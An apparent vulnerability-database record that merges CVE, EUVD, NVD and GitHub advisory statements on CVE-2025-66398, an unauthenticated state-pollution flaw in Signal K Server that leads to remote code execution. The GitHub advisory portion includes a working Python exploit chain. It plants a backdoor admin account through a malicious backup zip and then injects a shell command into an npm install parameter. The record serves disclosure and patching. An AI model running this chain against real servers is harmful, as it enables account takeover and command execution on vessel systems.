{"id":"EUVD-2025-206140","revision":null,"records":[{"revision":"dbbb4690637b41c696d85d2519b8e8f3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-66398","aliases":[],"title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","state":0,"publishedAt":"2026-01-01T18:00:38.575+00:00","modifiedAt":"2026-01-05T21:00:41.972+00:00","affected":[{"ecosystem":"Vendor product","name":"signalk-server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SignalK\",\n                    \"product\": \"signalk-server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.19.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.7,"severity":"CRITICAL"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-66398","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-66398","identifiers":["CVE-2025-66398"]},"retained":false,"historicalAffected":[]},{"revision":"837a40b63f7e415fa70a0988aafbacbe","observedAt":"2026-11-11T06:26:43.154+00:00","statement":{"source":"euvd","id":"EUVD-2025-206140","aliases":["CVE-2025-66398","GHSA-w3x5-7c4c-66p9"],"title":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint.…","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.7,"severity":null}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-206140","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 1, 2026, 6:00:38 PM","dateUpdated":"Jan 5, 2026, 9:00:41 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-206140","identifiers":["EUVD-2025-206140","CVE-2025-66398","GHSA-w3x5-7c4c-66p9"]},"retained":false,"historicalAffected":[]},{"revision":"3e7d5d4d55d347a298d27ee54574fc33","observedAt":"2026-10-25T03:17:36.152+00:00","statement":{"source":"nvd","id":"CVE-2025-66398","aliases":[],"title":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint.…","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","state":0,"publishedAt":"2026-01-01T18:15:40.55+00:00","modifiedAt":"2026-10-07T11:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/releases/tag/v2.19.0","https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-66398","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-78","CWE-913"],"productCriteria":["cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-01-01T18:15:40.550","lastModified":"2026-10-07T11:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-66398","identifiers":["CVE-2025-66398"]},"retained":false,"historicalAffected":[]},{"revision":"be19638aca104e5ebcae60a514beabfc","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-w3x5-7c4c-66p9","aliases":["CVE-2025-66398"],"title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1.  **Global State**: `restoreFilePath` is defined at the top level of the module.\n    ```typescript\n    // src/serverroutes.ts\n    let restoreFilePath: string\n    ```\n2.  **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {\n      // ... handles file upload ...\n      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n    })\n    ```\n3.  **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {\n      // ...\n      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n      // ...\n    })\n    ```\n\n**Exploit Chain:**\n1.  **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2.  **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.\n3.  **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4.  **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n    print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n    \n    # 1. Create malicious zip with security.json\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, 'w') as z:\n        # Add backdoor admin user\n        security_config = {\n            \"users\": [{\n                \"username\": BACKDOOR_USER,\n                \"password\": BACKDOOR_PASS, \n                \"permissions\": \"admin\"\n            }]\n        }\n        z.writestr(\"security.json\", json.dumps(security_config))\n        # Enable security to make the backdoor effective\n        z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n    zip_buffer.seek(0)\n\n    # 2. Pollute State (Unauthenticated)\n    print(\"    [+] Sending malicious backup to /validateBackup...\")\n    res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})\n    if res.status_code != 200:\n        print(\"    [-] Failed to pollute state.\")\n        return False\n\n    # 3. Trigger Restore (Hijacking)\n    print(\"    [+] Triggering restore to overwrite server config...\")\n    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n    # Here we assume we can trigger it or security is currently off.\n    res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n    \n    if res.status_code in [200, 202]:\n        print(\"    [+] Restore triggered successfully. Backdoor planted.\")\n        print(\"    [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n        return True\n    else:\n        print(f\"    [-] Restore failed: {res.status_code} {res.text}\")\n        return False\n\ndef step2_execute_rce():\n    print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n    \n    # 1. Login\n    session = requests.Session()\n    login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n    res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n    \n    if res.status_code != 200:\n        print(\"    [-] Login failed. Did you restart the server?\")\n        return\n    \n    token = res.json()['token']\n    print(\"    [+] Login successful. Authenticated as Admin.\")\n\n    # 2. RCE Payload (Windows Example)\n    # Injecting command into version parameter of npm install\n    # Command: echo RCE_SUCCESS > rce_proof.txt\n    cmd_payload = \"1.0.0 & echo RCE_SUCCESS > rce_proof.txt &\"\n    \n    # We need a valid package name to bypass existence check\n    package_name = \"@signalk/freeboard-sk\" \n    \n    print(f\"    [+] Sending RCE payload: {cmd_payload}\")\n    headers = {'Authorization': f'Bearer {token}'}\n    try:\n        session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n                     headers=headers, timeout=5)\n    except:\n        pass # Timeout is expected as the command might hang or take time\n\n    print(\"    [+] Payload sent. Check for 'rce_proof.txt' in server root.\")\n\nif __name__ == \"__main__\":\n    # Run Step 1, then restart server manually, then Run Step 2\n    # step1_plant_backdoor()\n    step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.","state":0,"publishedAt":"2026-01-02T15:11:49+00:00","modifiedAt":"2026-02-03T03:14:47.787144+00:00","affected":[{"ecosystem":"npm","name":"signalk-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.19.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9","https://nvd.nist.gov/vuln/detail/CVE-2025-66398","https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8","https://github.com/SignalK/signalk-server","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://github.com/advisories/GHSA-w3x5-7c4c-66p9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w3x5-7c4c-66p9","identifiers":["GHSA-w3x5-7c4c-66p9","CVE-2025-66398"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9559105+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9559112+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-b82e898af539f446af94bfe3bb84083f5df4f022d00288cc9fbae0154a5061bb","complete":true,"records":424071,"lastAttemptAt":"2026-11-11T12:57:49.006525+00:00","lastSuccessAt":"2026-11-11T12:57:48.4566769+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.006525+00:00","snapshotPublishedAt":"2026-11-11T12:31:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8b9b122bc044428c96a4630c531c9378","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T13:12:16.0062956+00:00","lastSuccessAt":"2026-11-11T13:12:16.002+00:00","error":"10 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T13:12:16.002+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13496,"expectedIdentifiers":13813,"failedIdentifiers":10},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9567134+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9567135+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a879d9d6add14faf90d52773703368be","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T13:00:06.155482+00:00","lastSuccessAt":"2026-11-11T13:00:06.151+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:06.151+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T12:59:57.6350799+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.6350799+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T12:57:49.1672871+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.1672871+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T13:00:02.7256916+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.7256916+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-10cb353ca77c2a8069d6892d1d394d936b12c0add3c8749e2a1a03a1c5d50426","complete":true,"records":231666,"lastAttemptAt":"2026-11-11T12:59:57.5030871+00:00","lastSuccessAt":"2026-11-11T12:59:55.8981437+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.5030871+00:00","snapshotPublishedAt":"2026-11-11T12:32:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}